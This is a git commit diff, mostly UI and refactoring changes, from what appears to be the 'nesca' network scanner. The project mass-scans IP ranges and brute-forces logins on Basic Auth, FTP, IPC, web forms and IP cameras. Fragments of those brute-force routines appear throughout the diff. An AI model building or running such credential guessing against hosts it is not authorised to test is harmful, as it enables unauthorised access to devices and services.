Updated UI

This commit is contained in:
cora48 2015-04-03 17:36:22 +03:00
parent 4c8944ece2
commit 17f3ae55fa
16 changed files with 338 additions and 495 deletions

View File

@ -33,14 +33,12 @@ bool BA::checkOutput(const string *buffer, const char *ip, const int port) {
lopaStr BA::BABrute(const char *ip, const int port) { lopaStr BA::BABrute(const char *ip, const int port) {
string buffer; string buffer;
string lpString; string lpString;
lopaStr lps; lopaStr lps{"UNKNOWN", "", ""};
ZeroMemory(lps.login, sizeof(lps.login)); ZeroMemory(lps.login, sizeof(lps.login));
ZeroMemory(lps.pass, sizeof(lps.pass)); ZeroMemory(lps.pass, sizeof(lps.pass));
ZeroMemory(lps.other, sizeof(lps.other)); ZeroMemory(lps.other, sizeof(lps.other));
int passCounter = 0; int passCounter = 0;
strcpy(lps.login, "UNKNOWN");
for(int i = 0; i < MaxLogin; ++i) { for(int i = 0; i < MaxLogin; ++i) {
for (int j = 0; j < MaxPass; ++j) { for (int j = 0; j < MaxPass; ++j) {
FileUpdater::cv.wait(FileUpdater::lk, []{return FileUpdater::ready;}); FileUpdater::cv.wait(FileUpdater::lk, []{return FileUpdater::ready;});
@ -78,7 +76,7 @@ lopaStr BA::BALobby(const char *ip, const int port) {
return lps; return lps;
} else { } else {
lopaStr lps; lopaStr lps{"UNKNOWN", "", ""};
return lps; return lps;
} }
} }

View File

@ -13,8 +13,7 @@ __asm
#else #else
asm("lock incl BrutingThrds"); asm("lock incl BrutingThrds");
#endif #endif
stt->doEmitionUpdateArc(gTargets);
stt->doEmitionChangeBA(QString::number(BrutingThrds));
} }
void BruteUtils::BConDec() void BruteUtils::BConDec()
@ -30,6 +29,5 @@ void BruteUtils::BConDec()
asm("lock decl BrutingThrds"); asm("lock decl BrutingThrds");
#endif #endif
} }
stt->doEmitionUpdateArc(gTargets);
stt->doEmitionChangeBA(QString::number(BrutingThrds));
} }

View File

@ -223,7 +223,6 @@ int Connector::nConnect(const char* ip, const int port, std::string *buffer,
if (MapWidgetOpened) stt->doEmitionAddIncData(QString(ip), QString("[OVERFLOW]")); if (MapWidgetOpened) stt->doEmitionAddIncData(QString(ip), QString("[OVERFLOW]"));
return buffer->size(); return buffer->size();
} else { } else {
stt->doEmitionOffline(QString::number(++offlines));
return -1; return -1;
} }
} }
@ -255,7 +254,6 @@ int Connector::_ConnectToPort(char* ip, int port)
if(size > 0) if(size > 0)
{ {
++Alive; ++Alive;
stt->doEmitionChangeParsed(QString::number(saved) + "/" + QString::number(++found));
Lexems lx; Lexems lx;
lx._filler(port, buffer.c_str(), ip, size, &lx); lx._filler(port, buffer.c_str(), ip, size, &lx);
}; };

View File

@ -13,7 +13,7 @@ bool FTPA::checkOutput(const string *buffer) {
lopaStr FTPA::FTPBrute(const char *ip, const int port, PathStr *ps) { lopaStr FTPA::FTPBrute(const char *ip, const int port, PathStr *ps) {
string buffer; string buffer;
string lpString; string lpString;
lopaStr lps; lopaStr lps{"UNKNOWN", "", ""};;
ZeroMemory(lps.login, sizeof(lps.login)); ZeroMemory(lps.login, sizeof(lps.login));
ZeroMemory(lps.pass, sizeof(lps.pass)); ZeroMemory(lps.pass, sizeof(lps.pass));
ZeroMemory(lps.other, sizeof(lps.other)); ZeroMemory(lps.other, sizeof(lps.other));
@ -74,7 +74,7 @@ lopaStr FTPA::FTPLobby(const char *ip, const int port, PathStr *ps) {
return lps; return lps;
} else { } else {
lopaStr lps; lopaStr lps{"UNKNOWN", "", ""};;
return lps; return lps;
} }
} }

View File

@ -5,7 +5,7 @@
lopaStr IPC::IPCBrute(const char *ip, int port, char *SPEC) lopaStr IPC::IPCBrute(const char *ip, int port, char *SPEC)
{ {
lopaStr lps; lopaStr lps{"UNKNOWN", "", ""};
bool result = true; bool result = true;
ZeroMemory(lps.login, sizeof(lps.login)); ZeroMemory(lps.login, sizeof(lps.login));
ZeroMemory(lps.pass, sizeof(lps.pass)); ZeroMemory(lps.pass, sizeof(lps.pass));
@ -172,7 +172,6 @@ lopaStr IPC::IPCBrute(const char *ip, int port, char *SPEC)
}; };
}; };
strcpy(lps.login, "UNKNOWN");
return lps; return lps;
} }
@ -186,7 +185,7 @@ lopaStr IPC::IPCLobby(const char *ip, int port, char *SPEC) {
return lps; return lps;
} else { } else {
lopaStr lps; lopaStr lps{"UNKNOWN", "", ""};
return lps; return lps;
} }
} }

53
STh.cpp
View File

@ -3,38 +3,26 @@
void STh::doEmitionShowRedVersion() void STh::doEmitionShowRedVersion()
{ {
emit stt->showRedVersion(); emit stt->showRedVersion();
}; }
void STh::doEmitionStartScanIP() void STh::doEmitionStartScanIP()
{ {
emit stt->startScanIP(); emit stt->startScanIP();
}; }
void STh::doEmitionStartScanDNS() void STh::doEmitionStartScanDNS()
{ {
emit stt->startScanDNS(); emit stt->startScanDNS();
}; }
void STh::doEmitionStartScanImport() void STh::doEmitionStartScanImport()
{ {
emit stt->startScanImport(); emit stt->startScanImport();
}; }
void STh::doEmitionAddIncData(QString(ip), QString str) void STh::doEmitionAddIncData(QString(ip), QString str)
{ {
emit stt->sIncData(ip, str); emit stt->sIncData(ip, str);
}; }
void STh::doEmitionAddOutData( QString str) void STh::doEmitionAddOutData( QString str)
{ {
emit stt->sOutData(str); emit stt->sOutData(str);
};
void STh::doEmitionIPRANGE(QString str)
{
emit stt->changeIpRange(str);
}
void STh::doEmitionThreads(QString str)
{
emit stt->changeThreads(str);
}
void STh::doEmitionIPS(QString str)
{
emit stt->changeIPS(str);
} }
void STh::doEmitionFoundData(QString str) void STh::doEmitionFoundData(QString str)
{ {
@ -47,7 +35,7 @@ void STh::doEmitionBAData(QString str)
void STh::doEmition_BARedData(QString str) void STh::doEmition_BARedData(QString str)
{ {
emit stt->changeRedBAData(str); emit stt->changeRedBAData(str);
}; }
void STh::doEmition_BAGreenData(QString str) void STh::doEmition_BAGreenData(QString str)
{ {
emit stt->changeGreenBAData(str); emit stt->changeGreenBAData(str);
@ -72,31 +60,20 @@ void STh::doEmitionChangeStatus(QString str)
{ {
emit stt->changeStatus(str); emit stt->changeStatus(str);
} }
void STh::doEmitionTargetsLeft(QString str)
{
emit stt->changeTargetsLeft(str);
}
void STh::doEmitionKillSttThread() void STh::doEmitionKillSttThread()
{ {
emit stt->killSttThread(); emit stt->killSttThread();
}; }
void STh::doEmitionChangeParsed(QString str)
{
emit stt->changeParsedValue(str);
};
void STh::doEmitionChangeBA(QString str)
{
emit stt->changeBAValue(str);
};
void STh::doEmitionOffline(QString str)
{
emit stt->changeOffline(str);
};
void STh::doEmitionDataSaved(bool status) void STh::doEmitionDataSaved(bool status)
{ {
emit stt->signalDataSaved(status); emit stt->signalDataSaved(status);
}; }
void STh::doEmitionUpdateArc(unsigned long gTargets)
{
emit stt->signalUpdateArc(gTargets);
}
void STh::run() void STh::run()
{ {
startScan(inputStr); startScan(inputStr);
} }

22
STh.h
View File

@ -20,23 +20,17 @@ public:
static void doEmitionAddIncData(QString ip, QString str); static void doEmitionAddIncData(QString ip, QString str);
static void doEmitionAddOutData(QString str); static void doEmitionAddOutData(QString str);
static void doEmition_BAGreenData(QString str); static void doEmition_BAGreenData(QString str);
static void doEmition_BARedData(QString str); static void doEmition_BARedData(QString str);
static void doEmitionIPRANGE(QString str);
static void doEmitionThreads(QString str);
static void doEmitionIPS(QString str);
static void doEmitionFoundData(QString str); static void doEmitionFoundData(QString str);
static void doEmitionRedFoundData(QString str); static void doEmitionRedFoundData(QString str);
static void doEmitionGreenFoundData(QString); static void doEmitionGreenFoundData(QString);
static void doEmitionYellowFoundData(QString); static void doEmitionYellowFoundData(QString);
static void doEmitionChangeStatus(QString); static void doEmitionChangeStatus(QString);
static void doEmitionTargetsLeft(QString); static void doEmitionKillSttThread();
static void doEmitionKillSttThread();
static void doEmitionChangeParsed(QString);
static void doEmitionChangeBA(QString);
static void doEmitionOffline(QString);
static void doEmitionBAData(QString str); static void doEmitionBAData(QString str);
static void doEmitionDebugFoundData(QString); static void doEmitionDebugFoundData(QString);
static void doEmitionShowRedVersion(); static void doEmitionShowRedVersion();
static void doEmitionUpdateArc(unsigned long gTargets);
signals: signals:
public: signals: void showRedVersion(); public: signals: void showRedVersion();
@ -47,22 +41,16 @@ public: signals: void signalDataSaved(bool);
public: signals: void changeGreenBAData(QString); public: signals: void changeGreenBAData(QString);
public: signals: void changeRedBAData(QString); public: signals: void changeRedBAData(QString);
public: signals: void changeBAData(QString); public: signals: void changeBAData(QString);
public: signals: void changeOffline(QString);
public: signals: void changeBAValue(QString);
public: signals: void changeParsedValue(QString);
public: signals: void changeIpRange(QString);
public: signals: void changeThreads(QString);
public: signals: void changeIPS(QString);
public: signals: void changeFoundData(QString); public: signals: void changeFoundData(QString);
public: signals: void changeRedFoundData(QString); public: signals: void changeRedFoundData(QString);
public: signals: void changeGreenFoundData(QString); public: signals: void changeGreenFoundData(QString);
public: signals: void changeYellowFoundData(QString); public: signals: void changeYellowFoundData(QString);
public: signals: void changeDebugFoundData(QString); public: signals: void changeDebugFoundData(QString);
public: signals: void changeStatus(QString); public: signals: void changeStatus(QString);
public: signals: void changeTargetsLeft(QString);
public: signals: void killSttThread(); public: signals: void killSttThread();
public: signals: void sIncData(QString, QString); public: signals: void sIncData(QString, QString);
public: signals: void sOutData(QString); public: signals: void sOutData(QString);
public: signals: void signalUpdateArc(unsigned long);
protected: protected:
void run(); void run();

View File

@ -158,12 +158,12 @@ lopaStr WFClass::_WFBrute( const char *ip,
char *passVal, char *passVal,
char *formVal) { char *formVal) {
lopaStr result = {"UNKNOWN", "UNKNOWN", "UNKNOWN"}; lopaStr lps{"UNKNOWN", "", ""};
if(strstri(methodVal, "get") != NULL) { if(strstri(methodVal, "get") != NULL) {
result = doGetCheck(ip, port, actionVal, userVal, passVal, formVal); lps = doGetCheck(ip, port, actionVal, userVal, passVal, formVal);
} else if(strstri(methodVal, "post") != NULL) { } else if(strstri(methodVal, "post") != NULL) {
result = doPostCheck(ip, port, actionVal, userVal, passVal, formVal); lps = doPostCheck(ip, port, actionVal, userVal, passVal, formVal);
} else { } else {
stt->doEmitionFoundData("<a href=\"http://" + QString(ip) + stt->doEmitionFoundData("<a href=\"http://" + QString(ip) +
":" + QString::number(port) ":" + QString::number(port)
@ -172,5 +172,5 @@ lopaStr WFClass::_WFBrute( const char *ip,
"</font></a> - [WF]: Unknown method."); "</font></a> - [WF]: Unknown method.");
}; };
return result; return lps;
} }

View File

@ -21,6 +21,7 @@
extern QJsonArray *jsonArr; extern QJsonArray *jsonArr;
extern unsigned long long gTargetsOverall; extern unsigned long long gTargetsOverall;
extern long long unsigned int gTargets;
extern volatile int cons, BrutingThrds, gThreads; extern volatile int cons, BrutingThrds, gThreads;
extern char **loginLst, **passLst, **wfLoginLst, **wfPassLst, **sshlpLst, **GlobalNegatives; extern char **loginLst, **passLst, **wfLoginLst, **wfPassLst, **sshlpLst, **GlobalNegatives;
extern bool trackerOK, __savingBackUpFile, globalScanFlag, MapWidgetOpened, extern bool trackerOK, __savingBackUpFile, globalScanFlag, MapWidgetOpened,

View File

@ -1134,16 +1134,16 @@ void _specWFBrute(const char *ip, int port, const char *buff, int flag, char *pa
} }
else else
{ {
if(gNegDebugMode) stt->doEmitionFoundData("<a href=\"http://" + QString(ip) + ":" + QString::number(port) + "\"><font color=\"#c3c3c3\">" + QString(ip) + ":" + QString::number(port) + "</font></a> - [WF]: Cannot find user/pass field."); if(gNegDebugMode) stt->doEmitionFoundData("<a href=\"http://" + QString(ip) + ":" + QString::number(port) +
///fillGlobalLogData(ip, tport, std::to_string(size).c_str(), title, "", "", "UnknownWebform", cp, tclass); "\"><font color=\"#c3c3c3\">" + QString(ip) + ":" + QString::number(port) +
///putInFile(flag, ip, tport, size, title, cp); "</font></a> - [WF]: Cannot find user/pass field.");
}; };
}; };
} }
void _specWEBIPCAMBrute(const char *ip, int port, char *finalstr, int flag, char *comment, char *cp, int size, char *SPEC) void _specWEBIPCAMBrute(const char *ip, int port, char *finalstr, int flag, char *comment, char *cp, int size, char *SPEC)
{ {
lopaStr lps; lopaStr lps{"UNKNOWN", "", ""};
ZeroMemory(lps.login, sizeof(lps.login)); ZeroMemory(lps.login, sizeof(lps.login));
ZeroMemory(lps.pass, sizeof(lps.pass)); ZeroMemory(lps.pass, sizeof(lps.pass));
ZeroMemory(lps.other, sizeof(lps.other)); ZeroMemory(lps.other, sizeof(lps.other));

View File

@ -35,7 +35,6 @@ SOURCES +=\
finder.cpp \ finder.cpp \
WebformWorker.cpp \ WebformWorker.cpp \
Connector.cpp \ Connector.cpp \
connector_old.cpp \
Utils.cpp \ Utils.cpp \
BruteUtils.cpp \ BruteUtils.cpp \
BasicAuth.cpp \ BasicAuth.cpp \

View File

@ -1,6 +1,6 @@
<?xml version="1.0" encoding="UTF-8"?> <?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE QtCreatorProject> <!DOCTYPE QtCreatorProject>
<!-- Written by QtCreator 3.2.1, 2015-04-02T13:07:30. --> <!-- Written by QtCreator 3.2.1, 2015-04-03T15:20:42. -->
<qtcreator> <qtcreator>
<data> <data>
<variable>EnvironmentId</variable> <variable>EnvironmentId</variable>

View File

@ -146,6 +146,10 @@ QList<QString> PhraseLog;
bool ME2ScanFlag = true, QoSScanFlag = false, VoiceScanFlag = false, PieStatFlag = false; bool ME2ScanFlag = true, QoSScanFlag = false, VoiceScanFlag = false, PieStatFlag = false;
QVector<qreal> dots;
QVector<qreal> dotsThreads;
QFont multiFontSmallFontPie;
QFont multiFontSmallFontArc;
void _LoadPersInfoToLocalVars(int savedTabIndex) { void _LoadPersInfoToLocalVars(int savedTabIndex) {
ZeroMemory(currentIP, sizeof(currentIP)); ZeroMemory(currentIP, sizeof(currentIP));
@ -209,6 +213,84 @@ void _LoadPersInfoToLocalVars(int savedTabIndex) {
} }
Ui::nesca_3Class *ui = new Ui::nesca_3Class; Ui::nesca_3Class *ui = new Ui::nesca_3Class;
QGraphicsScene *testScene;
qreal sharedY = 50;
qreal sharedheight = sharedY + 120;
QPen penAllThreads(QColor(255,255,255, 30), 10, Qt::CustomDashLine);
QPen penThreads(QColor(82,180,229), 10, Qt::SolidLine);
QPen penBAThreads(QColor(250,32,61), 5, Qt::CustomDashLine);
QPen penAllTargets(QColor(255,255,255, 30), 10, Qt::SolidLine);
QPen penTargets(QColor(250,94,32), 6, Qt::SolidLine);
QPen penSaved(QColor(72,255,0), 3, Qt::SolidLine);
void nesca_3::drawVerboseArcs(unsigned long gTargets) {
testScene->clear();
qreal leftX = 185;
qreal rightX = -165;
int fSz = 10;
QPainterPath pathAllThreads;
pathAllThreads.arcMoveTo(leftX, sharedY, rightX, sharedheight, 0);
pathAllThreads.arcTo(leftX, sharedY, rightX, sharedheight, 0, 180);
QGraphicsPathItem* itmAllThreads = new QGraphicsPathItem(pathAllThreads);
itmAllThreads->setPen(penAllThreads);
testScene->addItem(itmAllThreads);
QPainterPath pathThreads;
pathThreads.arcMoveTo(leftX, sharedY, rightX, sharedheight, 0);
pathThreads.arcTo(leftX, sharedY, rightX, sharedheight, 0, cons*((float)(180/(float)gThreads)));
QGraphicsPathItem* itmThreads = new QGraphicsPathItem(pathThreads);
itmThreads->setPen(penThreads);
testScene->addItem(itmThreads);
fSz = 5;
QPainterPath pathBAThreads;
pathBAThreads.arcMoveTo(leftX, sharedY, rightX, sharedheight, 0);
pathBAThreads.arcTo(leftX, sharedY, rightX, sharedheight, 0, BrutingThrds*((float)(180/(float)gThreads)));
QGraphicsPathItem* itmBAThreads = new QGraphicsPathItem(pathBAThreads);
itmBAThreads->setPen(penBAThreads);
testScene->addItem(itmBAThreads);
fSz = 10;
int xOffsetl = fSz + 2;
int xOffsetr = xOffsetl * 2;
leftX += xOffsetl;
rightX -= xOffsetr;
qreal sharedheight1 = sharedheight - xOffsetl;
qreal sharedheight2 = sharedheight + xOffsetr;
qreal nSharedY = sharedY - xOffsetl;
QPainterPath pathAllTargets;
pathAllTargets.arcMoveTo(leftX, sharedY, rightX, sharedheight1, 0);
pathAllTargets.arcTo(leftX, nSharedY, rightX, sharedheight2, 0, 180);
QGraphicsPathItem* itmAllTargets = new QGraphicsPathItem(pathAllTargets);
itmAllTargets->setPen(penAllTargets);
testScene->addItem(itmAllTargets);
fSz = 6;
QPainterPath pathTargets;
pathTargets.arcMoveTo(leftX, sharedY, rightX, sharedheight1, 0);
pathTargets.arcTo(leftX, nSharedY, rightX, sharedheight2, 0, indexIP*((float)(180/(float)gTargetsOverall)));
QGraphicsPathItem* itmTargets = new QGraphicsPathItem(pathTargets);
itmTargets->setPen(penTargets);
testScene->addItem(itmTargets);
fSz = 3;
QPainterPath pathSaved;
pathSaved.arcMoveTo(leftX, sharedY, rightX, sharedheight1, 0);
pathSaved.arcTo(leftX, nSharedY, rightX, sharedheight2, 0, saved*((float)(180/(float)gTargetsOverall)));
QGraphicsPathItem* itmSaved = new QGraphicsPathItem(pathSaved);
itmSaved->setPen(penSaved);
testScene->addItem(itmSaved);
ui->ipLabel->setText(QString(currentIP));
ui->labelSavedValue->setText(QString::number(saved));
ui->labelPendingTargets->setText(QString::number(gTargets));
ui->labelRunningThreads->setText(QString::number(cons) + "/" +
QString::number(BrutingThrds) + "/" +
QString::number(gThreads));
}
void setSceneArea() void setSceneArea()
{ {
delete ui->graphicsVoice; delete ui->graphicsVoice;
@ -256,16 +338,22 @@ void setSceneArea()
ui->pbgv->setScene(pbScene); ui->pbgv->setScene(pbScene);
ui->jobRangeVisual->setScene(jobRangeVisualScene); ui->jobRangeVisual->setScene(jobRangeVisualScene);
ui->graphicLog->setSceneRect(0, 0, ui->graphicLog->width(), ui->graphicLog->height()); ui->graphicLog->setSceneRect(0, 0, ui->graphicLog->width(), ui->graphicLog->height());
ui->graphicLog_2->setSceneRect(0, 0, ui->graphicLog_2->width(), ui->graphicLog_2->height()); ui->graphicLog_2->setSceneRect(0, 0, ui->graphicLog_2->width(), ui->graphicLog_2->height());
ui->graphicDelim->setSceneRect(0, 0, ui->graphicDelim->width(), ui->graphicDelim->height()); ui->graphicDelim->setSceneRect(0, 0, ui->graphicDelim->width(), ui->graphicDelim->height());
ui->graphicLog_Upper->setSceneRect(0, 0, ui->graphicLog_Upper->width(), ui->graphicLog_Upper->height()); ui->graphicLog_Upper->setSceneRect(0, 0, ui->graphicLog_Upper->width(), ui->graphicLog_Upper->height());
ui->graphicActivity->setSceneRect(0, 0, ui->graphicActivity->width(), ui->graphicActivity->height()); ui->graphicActivity->setSceneRect(0, 0, ui->graphicActivity->width(), ui->graphicActivity->height());
ui->graphicActivityGrid->setSceneRect(0, 0, ui->graphicActivityGrid->width(), ui->graphicActivityGrid->height()); ui->graphicActivityGrid->setSceneRect(0, 0, ui->graphicActivityGrid->width(), ui->graphicActivityGrid->height());
ui->graphicTextPlacer->setSceneRect(0, 0, ui->graphicTextPlacer->width(), ui->graphicTextPlacer->height()); ui->graphicTextPlacer->setSceneRect(0, 0, ui->graphicTextPlacer->width(), ui->graphicTextPlacer->height());
ui->graphicsVoice->setSceneRect(0, 0, ui->graphicsVoice->width(), ui->graphicsVoice->height()); ui->graphicsVoice->setSceneRect(0, 0, ui->graphicsVoice->width(), ui->graphicsVoice->height());
ui->pbgv->setSceneRect(0, 0, ui->pbgv->width(), ui->pbgv->height()); ui->pbgv->setSceneRect(0, 0, ui->pbgv->width(), ui->pbgv->height());
ui->jobRangeVisual->setSceneRect(0, 0, ui->jobRangeVisual->width(), ui->jobRangeVisual->height()); ui->jobRangeVisual->setSceneRect(0, 0, ui->jobRangeVisual->width(), ui->jobRangeVisual->height());
testScene = new QGraphicsScene();
ui->graphicsTest->setScene(testScene);
ui->graphicsTest->setSceneRect(0, 0, ui->graphicsTest->width(), ui->graphicsTest->height());
ui->graphicsTest->setRenderHints(QPainter::Antialiasing | QPainter::SmoothPixmapTransform | QPainter::HighQualityAntialiasing);
} }
void setButtonStyleArea() void setButtonStyleArea()
@ -1020,64 +1108,60 @@ void nesca_3::slotUpdatePie()
float perc5 = ((float)PieWF/(float)(found) * 100) * degree; float perc5 = ((float)PieWF/(float)(found) * 100) * degree;
float perc6 = ((float)PieSSH/(float)(found) * 100) * degree; float perc6 = ((float)PieSSH/(float)(found) * 100) * degree;
QFont fnt;
fnt.setFamily("Eurostile");
fnt.setPixelSize(10);
QString dataSaved = "Saved: " + QString::number(goods/(float)(found > 0 ? found : 1) * 100) + "%(" + QString::number(goods) + ")"; QString dataSaved = "Saved: " + QString::number(goods/(float)(found > 0 ? found : 1) * 100) + "%(" + QString::number(goods) + ")";
QString dataParsed = "Filtered: " + QString::number((found - goods)/(float)(found > 0 ? found : 1) * 100) + "%(" + QString::number(found - goods) + ")"; QString dataParsed = "Filtered: " + QString::number((found - goods)/(float)(found > 0 ? found : 1) * 100) + "%(" + QString::number(found - goods) + ")";
QString dataOnline = "Online: " + QString::number(found); QString dataOnline = "Online: " + QString::number(found);
QString dataAnom = "Anomalies: " + QString::number(PieAnomC1/(float)(goods > 0 ? goods : 1) * 100) + "%"; QString dataAnom = "Anomalies: " + QString::number(PieAnomC1/(float)(goods > 0 ? goods : 1) * 100) + "%";
QString dataBA = "Basic Auth: " + QString::number(PieBA/(float)(goods > 0 ? goods : 1) * 100) + "%"; QString dataBA = "Basic Auth: " + QString::number(PieBA/(float)(goods > 0 ? goods : 1) * 100) + "%";
QString dataSusp = "Suspicious: " + QString::number(PieSusp/(float)(goods > 0 ? goods : 1) * 100) + "%"; QString dataSusp = "Suspicious: " + QString::number(PieSusp/(float)(goods > 0 ? goods : 1) * 100) + "%";
QString dataLowl = "Lowload: " + QString::number(PieLowl/(float)(goods > 0 ? goods : 1) * 100) + "%"; QString dataLowl = "Lowload: " + QString::number(PieLowl/(float)(goods > 0 ? goods : 1) * 100) + "%";
QString dataWF = "WebForms: " + QString::number(PieWF/(float)(goods > 0 ? goods : 1) * 100) + "%"; QString dataWF = "WebForms: " + QString::number(PieWF/(float)(goods > 0 ? goods : 1) * 100) + "%";
QString dataSSH = "SSH: " + QString::number(PieSSH/(float)(goods > 0 ? goods : 1) * 100) + "%"; QString dataSSH = "SSH: " + QString::number(PieSSH/(float)(goods > 0 ? goods : 1) * 100) + "%";
int dataX = 1; int dataX = 1;
int dataY = 13; int dataY = 13;
QGraphicsTextItem *titem = sceneGraph->addText(dataOnline, fnt); QGraphicsTextItem *titem = sceneGraph->addText(dataOnline, multiFontSmallFontPie);
titem->setX(dataX); titem->setX(dataX);
titem->setY(-5); titem->setY(-5);
titem->setDefaultTextColor(QColor(255, 255, 255, 130)); titem->setDefaultTextColor(QColor(255, 255, 255, 130));
titem = sceneGraph->addText(dataSaved, fnt); titem = sceneGraph->addText(dataSaved, multiFontSmallFontPie);
titem->setX(dataX); titem->setX(dataX);
titem->setY(5); titem->setY(5);
titem->setDefaultTextColor(QColor(255, 255, 255, 130)); titem->setDefaultTextColor(QColor(255, 255, 255, 130));
titem = sceneGraph->addText(dataParsed, fnt); titem = sceneGraph->addText(dataParsed, multiFontSmallFontPie);
titem->setX(dataX); titem->setX(dataX);
titem->setY(15); titem->setY(15);
titem->setDefaultTextColor(QColor(255, 255, 255, 255)); titem->setDefaultTextColor(QColor(255, 255, 255, 255));
titem = sceneGraph->addText(dataAnom, fnt); titem = sceneGraph->addText(dataAnom, multiFontSmallFontPie);
titem->setX(dataX); titem->setX(dataX);
titem->setY(dataY + 17); titem->setY(dataY + 17);
titem->setDefaultTextColor(QColor("red")); titem->setDefaultTextColor(QColor("red"));
titem = sceneGraph->addText(dataBA, fnt); titem = sceneGraph->addText(dataBA, multiFontSmallFontPie);
titem->setX(dataX); titem->setX(dataX);
titem->setY(dataY + 27); titem->setY(dataY + 27);
titem->setDefaultTextColor(Qt::darkCyan); titem->setDefaultTextColor(Qt::darkCyan);
titem = sceneGraph->addText(dataSusp, fnt); titem = sceneGraph->addText(dataSusp, multiFontSmallFontPie);
titem->setX(dataX); titem->setX(dataX);
titem->setY(dataY + 37); titem->setY(dataY + 37);
titem->setDefaultTextColor(Qt::darkRed); titem->setDefaultTextColor(Qt::darkRed);
titem = sceneGraph->addText(dataLowl, fnt); titem = sceneGraph->addText(dataLowl, multiFontSmallFontPie);
titem->setX(dataX); titem->setX(dataX);
titem->setY(dataY + 47); titem->setY(dataY + 47);
titem->setDefaultTextColor(Qt::magenta); titem->setDefaultTextColor(Qt::magenta);
titem = sceneGraph->addText(dataWF, fnt); titem = sceneGraph->addText(dataWF, multiFontSmallFontPie);
titem->setX(dataX); titem->setX(dataX);
titem->setY(dataY + 56); titem->setY(dataY + 56);
titem->setDefaultTextColor(Qt::darkGray); titem->setDefaultTextColor(Qt::darkGray);
titem = sceneGraph->addText(dataSSH, fnt); titem = sceneGraph->addText(dataSSH, multiFontSmallFontPie);
titem->setX(dataX); titem->setX(dataX);
titem->setY(dataY + 66); titem->setY(dataY + 66);
titem->setDefaultTextColor(Qt::darkRed); titem->setDefaultTextColor(Qt::darkRed);
@ -1419,7 +1503,6 @@ void nesca_3::slotClearLogs()
int c = 1; int c = 1;
void nesca_3::slotSaveImage(QAction *qwe) void nesca_3::slotSaveImage(QAction *qwe)
{ {
QObject *smB = this->sender(); QObject *smB = this->sender();
@ -1641,7 +1724,6 @@ QRegExp _rOutProt(" HTTP/1.\\d+");
QRegExp _rOutPath(" /(\\w|\\.|,|/|:|-|_|\\?|!|\\@|#|\\$|%|\\^|&|\\*|\\(|\\)|=|\\+|<|>|;|:|\"|'|~|\\[|\\])* "); QRegExp _rOutPath(" /(\\w|\\.|,|/|:|-|_|\\?|!|\\@|#|\\$|%|\\^|&|\\*|\\(|\\)|=|\\+|<|>|;|:|\"|'|~|\\[|\\])* ");
QRegExp _rOutHost("Host: ((\\w|\\d|\\.|:|/)*)\\r\\n"); QRegExp _rOutHost("Host: ((\\w|\\d|\\.|:|/)*)\\r\\n");
QRegExp qrp("\\n(.+):"); QRegExp qrp("\\n(.+):");
void nesca_3::slotOutData(QString str) void nesca_3::slotOutData(QString str)
{ {
if(SendData != NULL) if(SendData != NULL)
@ -1980,9 +2062,7 @@ void nesca_3::IPScanSeq()
{ {
if(ui->portLine->text() != "") if(ui->portLine->text() != "")
{ {
_LoadPersInfoToLocalVars(savedTabIndex); _LoadPersInfoToLocalVars(savedTabIndex);
ui->labelParsed_Value->setText("0/0");
ui->labelOffline_Value->setText("0");
stopFirst = false; stopFirst = false;
ui->tabMainWidget->setTabEnabled(1, false); ui->tabMainWidget->setTabEnabled(1, false);
ui->tabMainWidget->setTabEnabled(2, false); ui->tabMainWidget->setTabEnabled(2, false);
@ -2064,10 +2144,7 @@ void nesca_3::DNSScanSeq()
if(ui->lineEditStartIPDNS->text() != "") if(ui->lineEditStartIPDNS->text() != "")
{ {
if(ui->lineEditPort->text() != "") if(ui->lineEditPort->text() != "")
{ {
_LoadPersInfoToLocalVars(savedTabIndex);
ui->labelParsed_Value->setText("0/0");
ui->labelOffline_Value->setText("0");
if(ui->lineEditStartIPDNS->text().indexOf(".") > 0) if(ui->lineEditStartIPDNS->text().indexOf(".") > 0)
{ {
QStringList lst = ui->lineEditStartIPDNS->text().split("."); QStringList lst = ui->lineEditStartIPDNS->text().split(".");
@ -2078,9 +2155,10 @@ void nesca_3::DNSScanSeq()
topLevelDomainStr += "."; topLevelDomainStr += ".";
topLevelDomainStr += lst[i]; topLevelDomainStr += lst[i];
}; };
ui->lineILVL->setText(topLevelDomainStr); ui->lineILVL->setText(topLevelDomainStr);
}; };
_LoadPersInfoToLocalVars(savedTabIndex);
stopFirst = false; stopFirst = false;
ui->tabMainWidget->setTabEnabled(0, false); ui->tabMainWidget->setTabEnabled(0, false);
@ -2128,9 +2206,6 @@ void nesca_3::ImportScanSeq()
ui->tabMainWidget->setTabEnabled(0, false); ui->tabMainWidget->setTabEnabled(0, false);
ui->tabMainWidget->setTabEnabled(1, false); ui->tabMainWidget->setTabEnabled(1, false);
ui->labelParsed_Value->setText("0/0");
ui->labelOffline_Value->setText("0");
strcpy(inputStr, ("DUMMY|-f|" + fileName + "|" + ui->importThreads->text() + "|-p" + ui->importPorts->text().replace(" ", "")).toLocal8Bit().data()); strcpy(inputStr, ("DUMMY|-f|" + fileName + "|" + ui->importThreads->text() + "|-p" + ui->importPorts->text().replace(" ", "")).toLocal8Bit().data());
globalScanFlag = true; globalScanFlag = true;
@ -2327,15 +2402,11 @@ void nesca_3::ConnectEvrthng()
connect ( stt, SIGNAL(changeRedFoundData(QString)), this, SLOT(appendErrText(QString))); connect ( stt, SIGNAL(changeRedFoundData(QString)), this, SLOT(appendErrText(QString)));
connect ( stt, SIGNAL(changeGreenFoundData(QString)), this, SLOT(appendOKText(QString))); connect ( stt, SIGNAL(changeGreenFoundData(QString)), this, SLOT(appendOKText(QString)));
connect ( stt, SIGNAL(killSttThread()), this, SLOT(STTTerminate())); connect ( stt, SIGNAL(killSttThread()), this, SLOT(STTTerminate()));
connect ( stt, SIGNAL(changeParsedValue(QString)), ui->labelParsed_Value, SLOT(setText(QString)));
connect ( stt, SIGNAL(changeIpRange(QString)), ui->labelIpRange_Value, SLOT(setText(QString))); connect ( stt, SIGNAL(signalUpdateArc(unsigned long)), this, SLOT(drawVerboseArcs(unsigned long)));
connect ( stt, SIGNAL(changeThreads(QString)), ui->labelThreads_Value, SLOT(setText(QString)));
connect ( stt, SIGNAL(changeIPS(QString)), ui->labelIPS_Value, SLOT(setText(QString))); connect ( stt, SIGNAL(changeFoundData(QString)), this, SLOT(appendDefaultText(QString)));
connect ( stt, SIGNAL(changeFoundData(QString)), this, SLOT(appendDefaultText(QString))); connect ( stt, SIGNAL(changeStatus(QString)), ui->labelStatus_Value, SLOT(setText(QString)));
